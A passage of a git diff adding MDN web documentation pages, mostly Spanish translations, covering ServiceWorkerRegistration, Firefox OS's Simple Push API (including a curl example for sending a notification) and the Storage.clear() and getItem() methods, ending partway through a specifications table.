+	<dd>Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.installing")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+	<dd>Returns a service worker whose state is <code>installing</code>. This is initially set to <code>null</code>.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.waiting")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+	<dd>Returns a service worker whose state is <code>waiting</code>. This is initially set to <code>null</code>.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.active")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+	<dd>Returns a service worker whose state is either <code>activating</code> or <code>activated</code>. This is initially set to <code>null</code>. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the <code>scope</code> option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}</dt>
+	<dd>Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.</dd>
+	<dt>{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+	<dd>Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+	<dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.sync")}} <strong style="font-weight: bold; line-height: 19.0909080505371px;">{{non-standard_inline}} </strong>{{readonlyinline}} </dt>
+	<dd>Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+	<dt>{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}</dt>
+	<dd>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener" title="This method is called whenever an event occurs of the type for which the EventListener interface was registered."><code>EventListener</code></a> property called whenever an event of type <code>updatefound</code> is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+	<dt>{{domxref("ServiceWorkerRegistration.getNotifications()")}}</dt>
+	<dd>Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.showNotification()")}}</dt>
+	<dd>Displays the notification with the requested title.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.update()")}}</dt>
+	<dd>Checks the server for an updated version of the service worker without consulting caches.</dd>
+	<dt>{{domxref("ServiceWorkerRegistration.unregister()")}}</dt>
+	<dd>Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and <code>updatefound</code> event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the <code>updatefound</code> event will not be fired.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}</td>
+			<td>{{Spec2('Service Workers')}}</td>
+			<td>Initial definition.</td>
+		</tr>
+		<tr>
+			<td>{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}</td>
+			<td>{{Spec2('Push API')}}</td>
+			<td>Adds the {{domxref("PushManager","pushManager")}} property.</td>
+		</tr>
+		<tr>
+			<td>{{SpecName('Web Notifications')}}</td>
+			<td>{{Spec2('Web Notifications')}}</td>
+			<td>Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.</td>
+		</tr>
+		<tr>
+			<td>{{SpecName('Background Sync')}}</td>
+			<td>{{Spec2('Background Sync')}}</td>
+			<td>Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+	<li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+	<li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+	<li>{{jsxref("Promise")}}</li>
+	<li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/es/web/api/simple_push_api/index.html b/files/es/web/api/simple_push_api/index.html
new file mode 100644
index 0000000000..d3d4dd4d1a
--- /dev/null
+++ b/files/es/web/api/simple_push_api/index.html
@@ -0,0 +1,235 @@
+---
+title: Simple Push
+slug: Web/API/Simple_Push_API
+translation_of: Archive/B2G_OS/API/Simple_Push_API
+---
+<p>{{ non-standard_header() }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta documentación cubre el mecanismo propietario Simple Push de Firefox OS; si usted está buscando la documentación sobre el W3C Push API, diríjase a <a href="/en-US/docs/Web/API/Push_API">Push API</a>.</p>
+</div>
+
+<p>El <strong>Simple Push API</strong>, también conocido como Push Notification API, provee a las aplicaciones la habilidad de ser despertadas para recibir notificaciones. Usted puede utilizar Simple Push como un mecanismo de sincronización, o incluso para traer datos desde servidores de terceros.</p>
+
+<p>Un "push" (empujón) no es más que un evento enviado a un servidor remoto. Así es como funciona: una aplicación usa el <span style="line-height: 1.5;">Simple Push API para solicitar una URL especial y única llamada endpoint (punto final). Esta solicitud viaja hacia un servidor existente mantenido por Mozilla especialmente para este proposito (este se denomina "push server"). Cuando la aplicación recibe el endpoint de vuelta desde el push server, la aplicación envía el endpoint a su propio servidor (su servidor de aplicación). El servidor de aplicación guarda este endpoint, luego cuando quiere despertar la aplicación, llama al endpoint con un número de versión, y el push server contacta a la aplicación con una notificación del número de versión. La aplicación puede hacer cualquier cosa al momento de recibir la notificación, incluso ignorarla.</span></p>
+
+<p>El Simple Push API extiende <code>Window.navigator</code> con una propiedad <code>push</code> que es un objeto {{domxref("PushManager")}}, e incluye algunos eventos nuevos que usted puede recibir para monitorear el estado del empuje.</p>
+
+<h2 id="Ejemplo_mostrando_los_conceptos_básicos">Ejemplo mostrando los conceptos básicos</h2>
+
+<p>Existen varias formas de usar la Simple Push API. Este ejemplos cubren los conceptos básicos de como usarla. El ejemplo consta de los siguientes pasos generales. Consulte las siguientes secciones para obtener información completa sobre cada paso.</p>
+
+<ol>
+ <li><a href="#Add_push_to_manifest">Añadir configuración push al manifiesto de la aplicación</a></li>
+ <li><a href="#2._Call_PushManager.register()_to_request_an_endpoint">LLamar a <code>PushManager.register</code> para solicitar un endpoint</a></li>
+ <li><a href="#3._Send_the_endpoint_to_your_server">Enviar un endpoint a su servidor</a></li>
+ <li><a href="#4._Add_a_message_handler_for_push_notifications_to_your_app">Agregar a su aplicación controladores de mensajes para notificaciones push</a></li>
+ <li><a href="#5._Send_a_notification_from_your_server_using_the_endpoint">Enviar una notificación desde su servidor utilizando el endpoint</a></li>
+</ol>
+
+<h2 id="1._Añadir_configuración_push_al_manifiesto_de_la_aplicación"><a name="Add_push_to_manifest"></a>1. Añadir configuración push al manifiesto de la aplicación</h2>
+
+<p>Usted necesita cambiar dos cosas en el manifiesto de la aplicación para poder utilizar Simple Push:</p>
+
+<ol>
+ <li><a href="/docs/Web/Apps/Manifest#messages" title="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest?redirectlocale=en-US&amp;redirectslug=Apps%2FManifest#messages">Campo <code>messages</code></a> - Añadir <code>push</code> y <code>push-register</code> a <code>messages</code>.<br>
+  Esto le hace saber a la página de aplicación que recibirá cada uno de estos eventos (<code>push</code> y <code>push-register</code>). En este ejemplo, ambos van a la misma página: "/index.html", pero también pueden usar otras páginas. Observe a continuación para mayor información sobre cada uno de estos eventos.</li>
+ <li><a href="/docs/Web/Apps/Manifest#permissions" title="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest?redirectlocale=en-US&amp;redirectslug=Apps%2FManifest#permissions">Campo <code>permissions</code></a> - Añadir que su aplicación quiere recibir notificaciones push.<br>
+  Es una buena idea proveer una descripción clara en este campo para que el usuario final entienda por qué usted necesita permisos de empuje ("push").</li>
+</ol>
+
+<pre><span class="s2">"messages"</span><span class="o">:</span> <span class="cp">[</span>
+   <span class="p">{</span> <span class="s2">"push"</span><span class="p">:</span> <span class="s2">"/index.html"</span><span class="p">},</span>
+   <span class="p">{</span> <span class="s2">"push-register"</span><span class="p">:</span> <span class="s2">"/index.html"</span><span class="p">}</span>
+<span class="cp">]</span><span class="o">,</span>
+<span class="s2">"permissions"</span><span class="o">:</span> <span class="p">{</span>
+  <span class="s2">"push"</span><span class="o">:</span> <span class="err">{
+    </span>"description": "Required for being updated with new goals in soccer matches"<span class="err">
+</span><span class="p">  }</span>
+<span class="err">}</span></pre>
+
+<h2 id="2._LLamar_a_PushManager.register()_para_solicitar_un_endpoint">2. LLamar a <code>PushManager.register()</code> para solicitar un endpoint</h2>
+
+<p>La aplicación necesita solicitar un endpoint llamando {{domxref("PushManager.register")}}. Usted debe decidir cuando este debe ser llamado. Usted podría llamarlo cuando el usuario ha iniciado sesión en el servicio, o cuando el usuario decide comenzar a ver un partido de fútbol, o en cualquier otro momento. El código a continuación es una forma de hacerlo.</p>
+
+<pre class="brush: js"><span class="k">if</span> <span class="p">(</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">push</span><span class="p">)</span> <span class="p">{
+  // Solicitar el endpoint. Esto usa PushManager.register().</span>
+  <span class="kd">var</span> <span class="nx">req</span> <span class="o">=</span> <span class="nx">navigator</span><span class="p">.</span><span class="nx">push</span><span class="p">.</span><span class="nx">register</span><span class="p">();</span>
+
+  <span class="nx">req</span><span class="p">.</span><span class="brush: js">onsuccess</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+    <span class="kd">var</span> <span class="nx">endpoint</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">result</span><span class="p">;</span>
+      console.log<span class="p">(</span><span class="s2">"New endpoint: "</span> <span class="o">+</span> <span class="nx">endpoint</span> <span class="p">);
+      // En este punto, usted deberá usar algunos llamados para enviar el
+      // endpoint a su servidor. Por ejemplo:
+      /*
+      var post = XMLHTTPRequest();
+      post.open("POST", "https://your.server.here/registerEndpoint");
+      post.setRequestHeader("Content-Type", "</span>application/x-www-form-urlencoded");
+      post.send("endpoint=" + encodeURIComponents( endpoint ) );
+      */
+      // Obviamente usted querrá añadir controladores .onload y .onerror,
+      // añadir información de id del usuario, y cualquier otra cosa que podría
+      // necesitar para asocial el endpoint con el usuario.
+    <span class="p">}</span>
+
+   <span class="nx">req</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+     console.error<span class="p">(</span><span class="s2">"Error getting a new endpoint: "</span> <span class="o">+</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">e</span><span class="p">));</span>
+   <span class="p">}</span>
+<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
+  <span class="c1">// push no se encuentra disponible en el DOM, así que haga algo diferente.</span>
+<span class="p">}</span></pre>
+
+<h2 id="3._Enviar_un_endpoint_a_su_servidor">3. Enviar un endpoint a su servidor</h2>
+
+<p>Una vez que la aplicación ha recibido un endpoint, esta necesita enviarla a su servidor de aplicación. Hay más de una forma de hacer esto. Por ejemplo usted puede enviarla por email, o enviarla a través de <code>POST</code>, <code>PUT</code>, o incluso <code>GET</code>. Nosotros recomendamos que almacene el endpoint con algunos datos de usuario desde la aplicación, tales como una cookie, un username, o lo que sea que usted utilice para identificar su par enpoint-user.</p>
+
+<p>Pero si usted está enviando a su servidor, nosotros recomendamos que siga estas buenas prácticas:</p>
+
+<ul>
+ <li>Enviarla a tráves de XMLHttpRequest.</li>
+ <li>Siempre usar HTTPS. De otro modo, si alguien intercepta su endpoint, este puede comenzar a enviar notificaciones a su aplicación.</li>
+ <li>Usar algo para emparejar al usuario (o la instalación de la aplicación) con el endpoint, como una cookie por ejemplo.</li>
+ <li>Mantener el endpoint a salvo! Cualquier sistema con acceso a su endpoint puede hacer que su aplicación drene la batería del usuario o amarre innecesariamente su servidor, entre otras molestias. Usted siempre puede hacer que el cliente obtenga un nuevo endpoint y descartar el antiguo, pero siempre asegurese de que su servidor reconozca el cambio.</li>
+</ul>
+
+<h2 id="4._Agregar_a_su_aplicación_controladores_de_mensajes_para_notificaciones_push">4. Agregar a su aplicación controladores de mensajes para notificaciones push</h2>
+
+<p>Una vez haya configurado su endpoint siguiendo los pasos anteriores, usted está listo para hacer que su aplicación comience a escuchar mensajes <code>push</code> y <code>push-register</code> utilizando los controladores de mensajes.</p>
+
+<h3 id="Añadir_un_controlador_de_mensajes_push">Añadir un controlador de mensajes <code>push</code></h3>
+
+<p>El controlador de mensajes push puede encontrarse en su archivo <code>index.html</code> o en su script <code>main.js</code>, o incluso en un archivo específico <code>push-message.html</code> que contiene solamente el controlador de mensajes. Esto puede ser útil si un mensaje <code>push</code> es enviado y su aplicación se encuentra cerrada, porque cargará solamente una pequeña porción del código HTML/JavaScript, y usted puede decidir si la aplicación necesita estar completamente abierta o puede hacer algo en segundo plano. Donde sea que usted decida ubicar el controlador de mensajes <code>push</code>, asegurese de que el manifiesto apunte a la ubicación correcta (ver el primer paso anterior), de otro modo su aplicación podría no obtener actualizaciones. Aquí hay un ejemplo de un controlador de mensajes <code>push</code>:</p>
+
+<pre class="brush: js"><span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">mozSetMessageHandler</span><span class="p">)</span> <span class="p">{</span>
+  <span class="nb">window</span><span class="p">.</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">mozSetMessageHandler</span><span class="p">(</span><span class="s1">'push'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+    console.log<span class="p">(</span><span class="s1">'My endpoint is '</span> <span class="o">+</span> <span class="nx">e</span><span class="p">.</span><span class="nx">pushEndpoint</span><span class="p">);</span>
+    console.log<span class="p">(</span><span class="s1">'My new version is '</span> <span class="o">+</span>  <span class="nx">e</span><span class="p">.</span><span class="nx">version</span><span class="p">);</span>
+    <span class="c1">// Recuerde que usted puede controlar aquí si tiene más de</span>
+    <span class="c1">// un pushEndpoint</span>
+    <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">pushEndpoint</span> <span class="o">===</span> <span class="nx">emailEndpoint</span><span class="p">)</span> <span class="p">{</span>
+      <span class="nx">emailHandler</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">version</span><span class="p">);</span>
+    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">pushEndpoint</span> <span class="o">===</span> <span class="nx">imEndpoint</span><span class="p">)</span> <span class="p">{</span>
+      <span class="nx">imHandler</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">version</span><span class="p">);</span>
+    <span class="p">}</span>
+  <span class="p">});</span>
+<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
+  <span class="c1">// Controlador No message</span>
+<span class="p">}</span></pre>
+
+<h3 id="Añadir_un_controlador_de_mensajes_push-register">Añadir un controlador de mensajes <code>push-register</code></h3>
+
+<div class="note">
+<p><strong>Nota:</strong> Asegurese de añadir este controlador y verificar que funciona. Si ustedes no registra de nuevo sus endpoints cuando este mensaje es recibido por su aplicación, la aplicación <strong>NO SERÁ CAPAZ</strong> de recibir nuevas notificaciones push.</p>
+</div>
+
+<p>Un mensaje push-register será enviado a todas las aplicaciones cuando el dispositivo cambie su identificador interno (llamado el UAID o User Agent Identifier). Esto puede deberse a que el servidor push ha cambiado, o se ha caido y necesita recuperarse, o cualquier otra circunstancia. Si cualquiera de estas cosas llegara a ocurrir, ustedes <strong>DEBE</strong> registrar de nuevo todos sus endpoints, porque sus previos endpoints ya no serán válidos. Por lo tanto su aplicación necesita implementar un controlador de mensajes <code>push-register</code>. Observe el siguiente código de ejemplo.</p>
+
+<pre class="brush: js"><span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">mozSetMessageHandler</span><span class="p">)</span> <span class="p">{</span>
+  <span class="nb">window</span><span class="p">.</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">mozSetMessageHandler</span><span class="p">(</span><span class="s1">'push-register'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+    console.log<span class="p">(</span><span class="s1">'push-register received, I need to register my endpoint(s) again!'</span><span class="p">);</span>
+
+<span class="c1">    <span class="kd">var</span> <span class="nx">req</span> <span class="o">=</span> <span class="nx">navigator</span><span class="p">.</span><span class="nx">push</span><span class="p">.</span><span class="nx">register</span><span class="p">();</span>
+  <span class="nx">  req</span><span class="p">.</span><span class="brush: js">onsuccess</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+    <span class="kd">  var</span> <span class="nx">endpoint</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">result</span><span class="p">;</span>
+      console.log<span class="p">(</span><span class="s2">"New endpoint: "</span> <span class="o">+</span> <span class="nx">endpoint</span> <span class="p">);
+      localStorage.endpoint = endpoint;</span>
+    <span class="p">}</span>
+
+   <span class="nx"> req</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+      console.error<span class="p">(</span><span class="s2">"Error getting a new endpoint: "</span> <span class="o">+</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">e</span><span class="p">));</span>
+   <span class="p"> }</span></span>
+  <span class="p">});</span>
+<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
+  <span class="c1">// Controlador No message</span>
+<span class="p">}</span></pre>
+
+<h2 id="5._Enviar_una_notificación_desde_su_servidor_utilizando_el_endpoint">5. Enviar una notificación desde su servidor utilizando el endpoint</h2>
+
+<p>Una vez usted tiene el endpoint en su servidor, usted puede enviar una notificación simplemente enviando una petición HTTP PUT al endpoint con el cuerpo <code>version=&lt;version&gt;</code>. Por ejemplo, imagine un endpoint con la siguiente URL:</p>
+
+<pre><code>https://updates.push.services.mozilla.com/update/abcdef01234567890abcdefabcdef01234567890abcdef</code></pre>
+
+<p>y con la version 5:</p>
+
+<pre><code>version=5</code></pre>
+
+<p>Así es como la notificación se verá utilizando curl:</p>
+
+<pre><code>curl -X PUT -d "version=5" https://updates.push.services.mozilla.com/update/abcdef01234567890abcdefabcdef01234567890abcdef</code></pre>
+
+<p>Si el servidor push esta corriendo correctamente, usted recibirá una respuesta con un <code>200 Status (OK)</code> y un <code>{}</code> como cuerpo. También podría recibir un <code>200 Status</code> indicando que el mensaje fue aceptado, pero que pudo haber sido controlado por un sistema alternativo. Si no, una respuesta <code>error</code> HTTP valida con un JSON explicando el error será retornada.</p>
+
+<div class="note">
+<p><strong>Por favor recuerde:</strong> Solo porque Simple Push ha aceptado el mensaje, esto no garantiza que el mensaje será entregado exitosamente a la aplicación. Muchos factores, desde un dispositivo desconectado a varios fallos de transmisión de datos, pueden ocacionar que no se entregue exitosamente una notificación. Nosotros hacemos nuestro mejor esfuerzo, pero a veces el universo tiene otros planes.</p>
+</div>
+
+<p>Recuerde que el valor de version debe ser números enteros, e incrementales. Las aplicaciones <em>no recibirán</em> nuevas notificaciones si la versión en menor a aquella almacenada en el servidor y/o dispositivo. Las versiones pueden ser útiles para que la aplicación indique si existen eventos "perdidos" que realmente debería verificar. Usted también podriá simplemente usar el UTC (el número de segundos desde la media noche del 1 de enero de 1970, GMT) actual si el valor de la versión no es muy importante para usted.</p>
+
+<h3 id="Anular_el_registro_de_un_endpoint">Anular el registro de un endpoint</h3>
+
+<p>Una vez haya terminado de utilizar el endpoint y no desee recibir más notificaciones, le rogamos anular el registro del antiguo endpoint mediante {{domxref("PushManager.unregister")}}. Esto limpiará la cantidad de datos que el dispositivo envía al servidor push, y además disminuirá el consumo de batería al no enviar notificaciones de las aplicaciones que no las usen.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>{{page("/en-US/docs/Web/API/PushManager","Specifications")}}</p>
+
+<h2 id="Conpatibilidad_con_navegadores">Conpatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("PushManager")}}</li>
+ <li><a href="/en-US/docs/Web/API/Navigator.push">Window.navigator.push</a></li>
+ <li><a href="https://github.com/frsela/pushJSlibrary" title="https://github.com/frsela/pushJSlibrary">pushJSLibrary, a push shim for browsers that do not implement the API</a></li>
+ <li><a href="https://wiki.mozilla.org/WebAPI/SimplePush">SimplePush original design and discussion page</a></li>
+</ul>
diff --git a/files/es/web/api/storage/clear/index.html b/files/es/web/api/storage/clear/index.html
new file mode 100644
index 0000000000..fc9e9890b2
--- /dev/null
+++ b/files/es/web/api/storage/clear/index.html
@@ -0,0 +1,131 @@
+---
+title: Storage.clear()
+slug: Web/API/Storage/clear
+tags:
+  - API
+  - Almacenamiento local
+  - Storage
+  - Web Storage
+  - sessionStorage
+translation_of: Web/API/Storage/clear
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>El método <code>clear()</code> de la interfaz {{domxref("Storage")}}, al invocarlo, elimina todos los registros del almacen local.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><em>storage</em>.clear();</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p><em>No recibe parámetros.</em></p>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p><em>No devuelve ningún valor.</em></p>
+
+<p> </p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p> </p>
+
+<p>La siguiente función crea tres elementos con datos dentro del almacen local, seguidamente, los elimina usando <code>clear()</code>.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.clear();
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para ver un ejemplo real, vea nuestro <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-clear', 'clear()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Los navegadores tienen diferentes niveles de capacidad, tanto para el localStorage como para el sesionStorage. He aquí una <a class="external external-icon" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">lista detallada de todas las capacidades de almacenamiento para varios navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong> desde la versión 5.1 de iOS, Safari Mobile almacena los datos de localStorage en la carpeta de la caché, la cual se vacía a intervalos, a criterio del sistema operativo, generalmente, si hay una falta de espacio.</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Uso de la Web Storage API</a></p>
diff --git a/files/es/web/api/storage/getitem/index.html b/files/es/web/api/storage/getitem/index.html
new file mode 100644
index 0000000000..ea5da3292b
--- /dev/null
+++ b/files/es/web/api/storage/getitem/index.html
@@ -0,0 +1,139 @@
+---
+title: Storage.getItem()
+slug: Web/API/Storage/getItem
+tags:
+  - API
+  - Almacenamiento
+  - Almacenamiento web
+  - Referencia
+  - Storage
+  - Web Storage
+  - metodo
+translation_of: Web/API/Storage/getItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>El método <code>getItem()</code> de la interfaz {{domxref("Storage")}} devuelve el valor de la clave cuyo nombre se le pasa por parámetro.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>aValue</em> = <em>storage</em>.getItem(<em>keyName</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em><code>keyName</code></em></dt>
+ <dd>Una {{domxref("DOMString")}} que contiene el nombre de la clave cuyo valor se quiere obtener.</dd>
+</dl>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p>Una {{domxref("DOMString")}} que contiene el valor de la clave. Si la clave no existe, devuelve <code>null</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La siguiente función toma 3 elementos del almacenamiento local (local storage) y los utiliza para establecer estilos personalizados en una página.</p>
+
+<pre class="brush: js">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para ver esto utilizado en un ejemplo real, vea nuestra <a href="https://github.com/mdn/web-storage-demo">Demo de Web Storage</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
